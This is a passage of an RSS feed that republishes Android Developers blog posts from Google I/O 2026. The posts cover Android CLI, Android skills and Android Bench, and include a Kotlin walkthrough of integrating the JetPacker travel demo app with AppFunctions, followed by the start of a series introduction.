            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2pWobL4G7-4deWwvMpRmtfHG1OuXyc_bHwq6fPszYT1Vztm4g_HaN28PVg6Hwd3_N2Qd82HS1QtpUGKCTUFiCuLBwMpcA-8sMC6dJtSDGKEVAaV1kxumYMZi3kTB9NnUIEf9xQPKyyfvKb8MZUyNGnYNAEHTxyHpWCEvN2xgQsj5X09LW_FHU1n0aJQg/w221-h400/guitar_app_AI_Studio.gif"></div></td>
        </tr>
    </tbody></table>

    We are looking forward to seeing what you build next!</div><div><br></div><div>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Top 3 updates for Android developer productivity]]></title>
<description><![CDATA[Posted by Simona Milanovic, Developer Relations Engineer

Every year, Google I/O brings new announcements and resources across ecosystems and products, including Android development. As development shifts toward AI and agent-assisted tooling, we’ve expanded our offerings to better support you, ho...]]></description>
<link>https://tsecurity.de/de/3693506/android-tipps/top-3-updates-for-android-developer-productivity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693506/android-tipps/top-3-updates-for-android-developer-productivity/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:38 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVRZrq_G4uVlVKLwXHoXqLsp3SGb-2GJbHfNRNmjfSPuZ9gUrLJ8_fyNTDP-_jsJowwajpxaLPFd8047rF7B5IpSE8-gXFtwVx3x4WpEqWLX3Cm-bKo9tof1j5yTLT66FmzpEnod7EK8_3vUDNZv12uDz1lnfZ5O8iOQqxfWgH0oOYXd3CXvG4IUJuRfU/s4097/MM_Dev%20Productivity_Meta.png"><div><i>Posted by Simona Milanovic, Developer Relations Engineer</i></div><p class="post-author"></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjux_TC0rxXOwY28_pZlUZ5rOLTSjuCXAfcGOd_auXXQ1D91clcsNSmIYs939dNNL7ymPVs1Q2PTFa_FwzBnlbcnNavO6MlwlCv9U2XPUDU-5I_HeVfeS72JoCHrkmGO3bXjXpJtJK8H7glEX6hfKn78-GynO8w9RqT-N-EE37oyA2rFxy6JukihWgndFE/s8419/MM_Dev%20Productivity_Blog.png"><img border="0" data-original-height="2507" data-original-width="8419" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjux_TC0rxXOwY28_pZlUZ5rOLTSjuCXAfcGOd_auXXQ1D91clcsNSmIYs939dNNL7ymPVs1Q2PTFa_FwzBnlbcnNavO6MlwlCv9U2XPUDU-5I_HeVfeS72JoCHrkmGO3bXjXpJtJK8H7glEX6hfKn78-GynO8w9RqT-N-EE37oyA2rFxy6JukihWgndFE/s16000/MM_Dev%20Productivity_Blog.png"></a></div><br><i><br></i><p></p>

<p>Every year, Google I/O brings new announcements and resources across ecosystems and products, including Android development. As development shifts toward AI and agent-assisted tooling, we’ve expanded our offerings to better support you, however you decide to build for Android.</p><div class="separator"><div class="separator">
  <div>
    
  </div>
</div>

<p>To help you stay up to date, here is a summary of the<b> top 3 announcements for Android Developer Productivity at I/O</b>.</p>

<h2>1. Android CLI is now stable</h2><p><a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> is now <strong>stable at version 1.0</strong>, with more capabilities and integrations.</p>

<p>The latest version of Android CLI introduces many new features, like programmatic version lookup and support for Journeys, and bridging capability to allow agents to <strong>integrate directly with Android Studio</strong>, via the <a href="https://developer.android.com/tools/agents/android-cli#studio-check">studio command</a>.</p>

<p>Running Android Studio alongside the agent and Android CLI enables more efficient navigation in your project, more precise output, and access to <strong>Android Studio’s unique tooling</strong>, such as performance profilers, Compose Previews, and Android Device Streaming.</p><div class="separator"><div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsMNSFKeo81-n949Gxy89kxE4j9xTtoJXnyEYGULxkjQXjndkMpdDzO74Xr2rvtuJuEooGeZeMJPf_H1UJC4YljU-jrBswJOMgsQBPm-_CO2Z2EYntVE3osq8maf2chHJHB8WvRVvvf_14TxkpARGAOGAUsqYQ-vWZtm2iUhanT-Zz3GDD2HQrQk1Jpcg/s1948/1_agy-android-studio.png"><img border="0" data-original-height="1552" data-original-width="1948" height="510" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsMNSFKeo81-n949Gxy89kxE4j9xTtoJXnyEYGULxkjQXjndkMpdDzO74Xr2rvtuJuEooGeZeMJPf_H1UJC4YljU-jrBswJOMgsQBPm-_CO2Z2EYntVE3osq8maf2chHJHB8WvRVvvf_14TxkpARGAOGAUsqYQ-vWZtm2iUhanT-Zz3GDD2HQrQk1Jpcg/w640-h510/1_agy-android-studio.png" width="640"></a></div><div><i>Android CLI now integrates seamlessly with Android Studio</i></div></div>

<p>Additionally, Google Antigravity now officially supports Android development, with the <strong>Android resources bundle</strong>, which includes the Android CLI and skills.</p>

<p>You can either install the bundle during onboarding after installation, or later from the <strong>Settings &gt; Customizations &gt; Build With Google Plugins</strong> menu. This provides Antigravity with all the powerful tools and knowledge of Android CLI to enable it to perform core tasks—from creating projects to deploying your app on a new virtual device—much more easily and efficiently.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg5lVac9WbZ_qdkjNLaQto2LX4c0tFD9zF3QIjtGcFXePDigzX7G8xAAQdo8YX6yt7U38-meDeTRQ1TCK-a7YUvjDk6D88ZfTNOQLI-6Xza52AugLbgEyg24kIzUR67lC9k3iX8H_gxk7JUYpHxSiHAJgQkFqN0CiXD8i5k4CE8Px308kNtVbKCYegJtI/s1948/1_agy-android-cli.png"><img border="0" data-original-height="1552" data-original-width="1948" height="510" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg5lVac9WbZ_qdkjNLaQto2LX4c0tFD9zF3QIjtGcFXePDigzX7G8xAAQdo8YX6yt7U38-meDeTRQ1TCK-a7YUvjDk6D88ZfTNOQLI-6Xza52AugLbgEyg24kIzUR67lC9k3iX8H_gxk7JUYpHxSiHAJgQkFqN0CiXD8i5k4CE8Px308kNtVbKCYegJtI/w640-h510/1_agy-android-cli.png" width="640"></a></div><div><i>Google Antigravity now offers the Android resources bundle</i></div>

</div><p><span>Android CLI is now available through more package managers: like </span><code>npm</code><span> and </span><code>homebrew</code><span>. </span><span>For more information, check out the </span><a href="https://android-developers.googleblog.com/2026/05/android-cli-stable-1-0-agent-development.html">Android CLI blog post</a><span> and </span><a href="https://developer.android.com/tools/agents/android-cli">official documentation.</a></p><div><div class="separator"><h2>2. Android skills keep growing</h2><p>To help models gain expertise for specific development patterns that follow our best practices, we are continuing to <strong>expand our repository of Android skills</strong>, available through <a href="https://developer.android.com/tools/agents/android-cli#skills-add">Android CLI</a> and <a href="https://github.com/android/skills">GitHub</a>.</p>

<p>Android skills ground LLMs in <strong>specialized workflows and domain knowledge,</strong> for the most common and more complex user journeys they might struggle with. We’ve shipped a fresh <strong>new batch of skills,</strong> with now more than 17 skills for areas such as:</p><ul><li>Adaptive UI</li><li>Display Glasses and Jetpack Compose Glimmer for XR</li><li>Migration to CameraX</li><li>Perfetto SQL and Trace Analysis</li><li>Jetpack Compose Styles API</li><li>AppFunctions</li><li>Verified email retrieval with Android Credential Manager</li><li>Engage SDK integration</li><li>Testing setup</li><li>Wear OS Jetpack Compose Material3</li></ul><br><div class="separator"><img border="0" data-original-height="405" data-original-width="720" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOV9PePtO9nHxegfJn96Lsab3Z1fD7FEsjdQ9EQ2vzNOc9es2_S6h8twazy_ief9YVabhkOUWu7xJHr-hxINrva44O7QDpt3z96UtGXbvJYtAARj4tVWK3SPuFVr2in-MSdyCdpY5aOdqRbBjtw06-n365vZv8_Or8YCDrj6FQyoVl6xxKibEJF4Nh3io/s16000/2_android_skills_dev_keynote.gif"><i>Android skills keep growing</i></div><div class="separator"><i><br></i></div><div><div>You can browse skills and install using the Android CLI commands:</div><p></p>

<pre><div>android skills list</div><div>android skills add –skill=&lt;skill-name&gt;</div></pre>

<p>For more information, check out the <a href="https://developer.android.com/tools/agents/android-skills">official documentation.</a></p>

<h2>3. Android Bench adds new models</h2><p>Earlier this year, we launched <a href="https://developer.android.com/bench">Android Bench</a> - our leaderboard for <strong>testing LLMs on real-world Android development</strong> challenges and tasks, with the goal of accelerating model improvements, so you have more helpful options for AI assistance.</p><div class="separator"><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb0KK5bxvuZazJH0qRgHNv7cHl9uhVwZIZprnwGTBufcU7KXLpFJzNO4tCaCJLjh4mrZIqmTuFSMyRadcJxyTsWty65oLaKwi_8L_jAWHERsWYJ6hbZf5qVoDHJCZb-i0U40B3Xz8nRg-nvFYD8cf-nFx7PPG7ffBL-w4bS9RTQx_GOdQ7RXWjUN5RTbI/s2618/AndroidBenchLeaderboard.png"><img border="0" data-original-height="1488" data-original-width="2618" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb0KK5bxvuZazJH0qRgHNv7cHl9uhVwZIZprnwGTBufcU7KXLpFJzNO4tCaCJLjh4mrZIqmTuFSMyRadcJxyTsWty65oLaKwi_8L_jAWHERsWYJ6hbZf5qVoDHJCZb-i0U40B3Xz8nRg-nvFYD8cf-nFx7PPG7ffBL-w4bS9RTQx_GOdQ7RXWjUN5RTbI/s16000/AndroidBenchLeaderboard.png"></a></div><div><i>Latest results from Android Bench leaderboard</i></div>

<p>You asked us to evaluate open models. So, at I/O, we added more commonly used ones, including our local model <strong>Gemma 4</strong>, to the leaderboard. We also added the latest models including <strong>Gemini 3.5 Flash.</strong></p>

<p>We are also working on increasing the difficulty of challenges we’re giving LLMs, including creating long running tasks, to continue encouraging improvements. These tasks will be coming soon to Android Bench. Check out the <a href="https://developer.android.com/bench">Android Bench leaderboard</a> to see the latest results.</p>

<h2>Android development anywhere</h2><p>By expanding our AI-assisted Android development offerings to Antigravity, through Android CLI and Android skills, and solidifying with the pro capabilities and production grade polish of Android Studio, we’re <strong>supporting Android developers wherever they choose to build.</strong></p>

<p>Have fun bringing your ideas to life faster and easier than ever before - we’re excited to see what you build in this new era of agentic development.</p><p>Check out the full <a href="https://www.youtube.com/playlist?list=PLWz5rJ2EKKc-XnEzj1_CBClxpkGwYQeLy">Developer productivity at Google I/O 2026 YouTube playlist</a> for more information.</p></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Integrate into Android's intelligence system using AppFunctions]]></title>
<description><![CDATA[Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post, we explored...]]></description>
<link>https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:27 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi961epgT3N_Za_k2-pCJ30tegn7DM-Umh1LWh7Q4NxhryR5H57JB00zKQcek56ccAvEM95i6wyXWWCZZ7486_Gq1ewxPHtsMY13UVsVTmndAvkOJtHPjUXuZ3XW_yBEFtlOr2ocBFIKr0PCRZhIRs67h6bX6zDKihwcxQs8bGbYTqIp5azuBKcX4PNMMY/s2469/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Meta.png"><p></p><p><i>Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer Relations</i></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s8583/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s1600/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"></a></div><br><p><br></p><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">previous post</a>, we explored how to leverage Firebase AI Logic to build cloud-hosted and hybrid AI features.</p>Traditional mobile UIs excel at focused, hands-on tasks, and the Android intelligence system is introducing complementary features to make complex, multi-step actions even easier. By supplementing traditional user interfaces, AppFunctions provide a powerful new entry point: A privileged agent on the device can access app features in the background. This can be particularly helpful when users are driving, walking or otherwise multitasking. 

<p>In this article, we'll show you how we designed and integrated these capabilities into our travel planning app, <a href="https://github.com/android/ai-samples/tree/main/jetpacker">JetPacker</a>, using Android AppFunctions. We'll explore the rationale behind our feature choices, discuss the specialized tooling we used to accelerate development, and dive into the code that makes it all work.</p>

<h2>Designing AI-ready features: making choices that matter for your users</h2>

<p>To select which features to provide to the intelligence system, we looked for tasks where a voice or text command is objectively faster than tapping through screens. In this side-by-side screen recording you can see this contrast perfectly: on the left, a user tapping through multiple screens to log an expense; on the right, the same task completed instantly in the background via a privileged agent.</p>

<div class="vertical-video-grid">
  <div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIr2ssY2GiOlBmFzcP-91j91VjH9QX_sOP8FcmtirYPyXZmYRzNJmfqI_GT6aXYXye8-ntylv-gTNu1Qlnbx5gHiFn9naHqt7tJOQBA3HpQ5uz8XRdavXh7b3IP3FzJb4SsbC4mClGLUHupDwIeE9Du3PNRQr0SGs2lgHZTdHXnv8TagNBRtoJsbpeE6c/s960/Comp%201.gif"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIr2ssY2GiOlBmFzcP-91j91VjH9QX_sOP8FcmtirYPyXZmYRzNJmfqI_GT6aXYXye8-ntylv-gTNu1Qlnbx5gHiFn9naHqt7tJOQBA3HpQ5uz8XRdavXh7b3IP3FzJb4SsbC4mClGLUHupDwIeE9Du3PNRQr0SGs2lgHZTdHXnv8TagNBRtoJsbpeE6c/s1600/Comp%201.gif"></a></div><br><div class="vertical-video-wrapper"><br></div>

<p>Our first choice was expense tracking. Logging a coffee expense during a trip usually takes quite a few taps—unlocking the phone, opening the app, finding the active trip, navigating to the expenses tab, tapping the add button, taking a picture of the receipt, and checking the result. By providing the <code>addExpense</code> and <code>getExpenses</code> features as AppFunctions, the system agent handles the heavy lifting. When the user says, "Add a five-dollar coffee expense to my Paris trip," the agent automatically searches for the correct trip ID in the background and inserts the expense, skipping the manual UI flow entirely.</p>

<p>We also prioritized itinerary management. Finding what activity is next on a busy trip itinerary usually requires scrolling through a dense timeline view. By providing <code>getItinerary</code> and <code>addItineraryEvent</code> to the system, the user can simply ask, "What am I doing next in Paris?" and get an immediate answer.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s960/Comp%202.gif"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s1600/Comp%202.gif"></a></div><br><p><br></p>
  

<p>Finally, we focused on hands-free note capturing. Typing out reminders or notes while walking down a busy street is difficult and unsafe. Exposing a voice note capability allows the user to say, "The flight was amazing, I saw a beautiful sunset and managed to sleep well," and the privileged agent automatically transcribes and saves it directly into the travel database <span face="Roboto, sans-serif"> using the </span><span>addVoiceNote</span><span face="Roboto, sans-serif"> AppFunction.</span></p>

<h2>Android MCP powered by AppFunctions</h2>This entire experience is built on Android MCP. Under this design, the app acts as a local MCP server. Rather than remote APIs, you provide your app features directly to the on-device intelligence system.<br><br><a href="https://d.android.com/ai/appfunctions">Android AppFunctions</a> is the API that brings this concept to life. It reads annotated Kotlin functions and compiles them into type-safe, sandboxed tool definitions that the privileged agent can discover and invoke locally on the device.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s2500/Android%20MCP%20diagram.png"><img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s1600/Android%20MCP%20diagram.png"></a></div><br><p><br></p>

<p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><i><div><i>Diagram highlighting our apps, the android platform, and system agents coordinate AppFunctions.</i></div></i><p>Under the Android MCP model, your app acts as a local MCP server that exposes structured tools, while the Android platform serves as the central tool registry. On the MCP client side, agent apps are registered with the intelligence system after being granted system-privileged permissions to access the registry.</p>

<p>When a user interacts with a registered agent, its LLM determines if the request can be handled by an AppFunction, queries the platform's metadata, and executes the appropriate registered functions in the background. This local MCP client-server design gives you full control: you choose exactly which features are accessible to the agent, keeping the rest of your app's data private.</p>

<h2>How we accelerated development with Android skills</h2>

To streamline the integration process, we leveraged the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a>. The AppFunctions development skill is a complete development companion. It guided us through the entire lifecycle: mapping Kotlin data classes to serialize parameters, generating the necessary <code>Service</code> entry points, refining our <code>KDoc</code> documentation to ensure the LLM understands parameter boundaries, and setting up automated testing using ADB.

<h2>Providing app features to the intelligence system</h2>

<p>Enough with the theory, let's dive into the implementation.</p>

<h4>Configuration and dependency setup</h4>

<p>We begin by adding the AppFunctions dependencies. One for the API and one for the Kotlin Symbol Processing compiler.</p>

<pre><code>implementation("androidx.appfunctions:appfunctions:1.0.0-alpha10")
ksp("androidx.appfunctions:appfunctions-compiler:1.0.0-alpha10")</code></pre>

<h4>Modeling custom data types</h4>

<p>Any custom object exchanged with the agent must be annotated with <code>@AppFunctionSerializable</code>. In our <a href="https://github.com/android/ai-samples/tree/main/jetpacker/android/feature/appfunctions/src/main/java/com/example/jetpacker/feature/appfunctions/TripSerializable.kt">TripSerializable.kt</a> file, we define our trip data model:</p>

<pre><code>@AppFunctionSerializable(isDescribedByKDoc = true)
data class TripSerializable(
    /** The trip's unique identifier. */
    val id: String,
    /** The trip's title. */
    val title: String,
    /** The trip's destination location. */
    val location: String,
    /** The trip's start date in milliseconds. */
    val startDate: Long,
    /** The trip's end date in milliseconds. */
    val endDate: Long,
    /** A list of participants. */
    val participants: List&lt;String&gt;,
)</code></pre>

<h4>Providing features using the @AppFunction annotation</h4>

<p>Next, the skill wrote the Kotlin functions that perform the database queries and annotate them with <code>@AppFunction</code>. We can view this in searchTrip:</p>

<pre><code>/**
 * Looks for trips based on optional filters like id, title (name), location, and dates.
 *
 * @param id The unique identifier of the trip.
 * @param title The title or name of the trip.
 * @param location The destination location.
 * @param startDate The minimum start date in milliseconds.
 * @param endDate The maximum end date in milliseconds.
 * @return A list of trips matching the filters.
 */
@AppFunction(isDescribedByKDoc = true)
suspend fun searchTrip(
    id: String? = null,
    title: String? = null,
    location: String? = null,
    startDate: Long? = null,
    endDate: Long? = null
): List&lt;TripSerializable&gt; {
    return withContext(Dispatchers.IO) {
    // implementation
}</code></pre>

<p>Since AppFunctions run on the UI thread by default, we use <code>withContext(Dispatchers.IO)</code> to switch to a background dispatcher. Additionally, we refine our KDoc to use clear, imperative verbs and specify parameter constraints. This documentation compiles directly into the tool's schema, which the privileged agent uses to resolve parameters and handle runtime errors.</p>

<h4>The service entry point and Hilt integration</h4>

<p>To register these features with the intelligence system, we create an abstract base class that extends <code>AppFunctionService</code>. We annotate it with <code>@AppFunctionServiceEntryPoint</code>:</p>

<pre><code>@RequiresApi(36)
@AndroidEntryPoint
@AppFunctionServiceEntryPoint(
    serviceName = "JetPackerAppFunctionService",
    appFunctionXmlFileName = "jetpacker_app_function_service"
)
abstract class BaseJetPackerAppFunctionService : AppFunctionService() {
    @Inject internal lateinit var tripDao: TripDao
    // DAOs and database references are injected here...
}</code></pre>

<p>During compilation, KSP generates the final concrete service subclass, <code>JetPackerAppFunctionService</code>, as declared with the <code>serviceName</code> parameter. We also register <code>app_metadata.xml</code> in the app's manifest. This file provides global operational rules for JetPacker's declared AppFunctions.</p>

<h2>Testing and verifying your AppFunctions</h2>

<p>Once implemented, you should verify that your AppFunctions are registered and working correctly.</p>

<p>Running devices or emulators with Android 17 or newer, you can use ADB commands from your terminal to list and invoke your functions. Running <code>adb shell cmd app_function list-app-functions</code> displays all registered functions for your package. You can then execute a specific function and test its database integration by running <code>adb shell cmd app_function execute-app-function</code> while passing a raw JSON parameters string.</p>

<p>Instead of these ADB commands, you can also use the <a href="https://github.com/android/appfunctions">AppFunctions Testing Agent</a> to inspect your configuration, list and execute AppFunctions, and even see how your AppFunctions behave in a real conversational flow.</p>

<h2>Wrapping it up</h2>

<p>When thinking about app features that can be contributed to the intelligence system using AppFunctions requires a slight shift in how we think about code and documentation. AppFunctions enable you to use this new interaction model for apps, which allows using an agent to access app features..</p>

<p>First, the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a> is an essential lifecycle tool, helping you discover features, implement and refine AppFunctions for your apps. Second, KDoc comments are a compiled API asset; clear parameter descriptions directly impact the execution accuracy of the system agent. Finally, Android MCP provides local-first execution allowing apps to safely collaborate with AI agents.</p>

<p>Contributing app features through AppFunctions makes your application ready for the intelligence system. Let us know how you are adapting your apps for the agentic era!</p>

<h2>Learn more</h2>

<p>Check out the other parts of this blog post series:<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html">Part 1:</a></b> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2:</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">Part 3:</a></b> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4 (this post!):</b></a> System integration. Integrating with the Android intelligence system using AppFunctions. <br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.</p>

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>
  All code snippets in this blog post follow the following copyright notice:
</p>
<pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Introduction to Jetpacker]]></title>
<description><![CDATA[Posted by Jolanda Verhoef, Senior Developer Relations Engineer, Android Developer RelationsBuilding GenAI features in your app usually means navigating through various models, APIs and architecture choices: 

  Execution location: Where does your model run? On device, in the cloud, or both?
  Com...]]></description>
<link>https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:26 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigBFwd7rJO49I_puODKBWFqPbpHaGyL3CTFuZBbr0HTQConFnc3JP0dL9Rr_i6wmyW0o4Ku2bvv3SEacwpC3Vc6b7cYy0aRbZKdUDudFcraYO8zcBVkrMfbrfMP9How0J1xSi91xLnR4s5Z3s-Lp6RF2SA0gU56B9nXD0NkD_CU8MT6wbgBw1tRaMWcMo/s2469/0713%20Jetpacker%20Meta.png">
<div><i>Posted by Jolanda Verhoef, Senior Developer Relations Engineer, </i><i>Android Developer Relations</i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFlbIY8mjuSzlWuS8mnGJ3v8Je-yrtFFaBHNXumMqS0rbaS32wv5HUhI4mv5pHT8ro0Rfb-duyMhK8_OeKnMyocY9s6GmC9_pgTEv6sgZoiaZpD00sODTTctYV8I4RHddKWcXAMUyTASk97cS1ysx4A2PFYB6PEeiHeN93BFgDiOTKH62ZJMig3kGP66E/s8583/0713%20Jetpacker%20Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFlbIY8mjuSzlWuS8mnGJ3v8Je-yrtFFaBHNXumMqS0rbaS32wv5HUhI4mv5pHT8ro0Rfb-duyMhK8_OeKnMyocY9s6GmC9_pgTEv6sgZoiaZpD00sODTTctYV8I4RHddKWcXAMUyTASk97cS1ysx4A2PFYB6PEeiHeN93BFgDiOTKH62ZJMig3kGP66E/s1600/0713%20Jetpacker%20Blog.png"></a></div><br><i><br></i><p>Building GenAI features in your app usually means navigating through various models, APIs and architecture choices: </p>
<ul>
  <li><strong>Execution location:</strong> Where does your model run? On device, in the cloud, or both?</li>
  <li><strong>Complexity:</strong> How complex is your setup? Are you doing a single inference call or do you need a more agentic flow?</li>
  <li><strong>In-app or Android System:</strong> Should your feature be built into your Android app or does it fit better as an Android system integration?</li>
</ul>

<p>In this blog post series we'll navigate these choices with you. We will take you along on a journey, starting with a basic mobile app and transforming it into a <b>personalized</b>, <b>intelligent</b>, and <b>agentic</b> experience.</p>

<h2>Jetpacker: a demo travel app</h2>
<p>Jetpacker is a <b>technical showcase app</b> that our team built from the ground up for this year's Google I/O (built using Antigravity). At its core, Jetpacker helps users plan, explore, and enjoy their next big adventure. It shows an overview of your trips, the itinerary of each trip, and details of each event on that trip. Of course following all best practices of Android development, including a beautifully expressive Material UI design.</p><div>
  
  
</div>

<p>And best of all? It's fully <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">open source</a>!</p>

<p>Today we are publishing a series of<b> technical blog posts</b> diving deep into each of these features. We’ll provide detailed implementation steps, code snippets, and architectural insights to help you build your own intelligent Android applications.</p>

<h2><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html">On-device intelligence</a></h2>
